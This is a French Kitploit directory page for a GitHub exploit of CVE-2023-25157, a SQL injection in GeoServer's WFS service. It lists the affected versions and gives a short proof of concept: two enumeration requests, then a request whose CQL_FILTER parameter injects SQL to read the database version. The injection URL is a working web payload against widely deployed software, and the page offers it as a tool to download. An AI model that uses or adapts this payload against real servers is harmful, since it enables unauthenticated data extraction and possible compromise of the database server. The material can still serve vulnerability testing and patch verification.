Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-25157 — Exploit pour CVE-2023-25157 : injection SQL dans le service WFS de GeoServer via une syntaxe de filtre CQL conçue, permettant l'extraction de données à distance non authentifiée et un compromis potentiel du serveur de base de données. | Kitploit
Outils/GitHubGitHub/charis3306/cve-2023-25157
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubcharis3306/cve-2023-25157

CVE-2023-25157

Exploit pour CVE-2023-25157 : injection SQL dans le service WFS de GeoServer via une syntaxe de filtre CQL conçue, permettant l'extraction de données à distance non authentifiée et un compromis potentiel du serveur de base de données.

Voir le dépôt
31il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Description de la vulnérabilité

En raison d'un manque de filtrage des entrées utilisateur, un attaquant distant non authentifié peut construire une syntaxe de filtrage malformée, contourner l'analyse lexicale de GeoServer, provoquer une injection SQL, obtenir des informations sensibles du serveur, et éventuellement obtenir les privilèges du serveur de base de données.

Versions concernées

GeoServer 2.20.x < 2.20.7

GeoServer 2.19.x < 2.19.7

GeoServer 2.18.x < 2.18.7

GeoServer 2.21.x < 2.21.4

GeoServer 2.22.x < 2.22.2

POC

Obtenir les noms de fonctionnalités disponibles

Recherche

root@kitploit:~
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

Obtenir les attributs disponibles de la fonctionnalité concernée

Obtenir les attributs du nom de fonctionnalité vulhub:example

root@kitploit:~
/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=vulhub:example

root@kitploit:~
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,'x'')+=+true+and+1=(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+=+true

Télécharger l’outil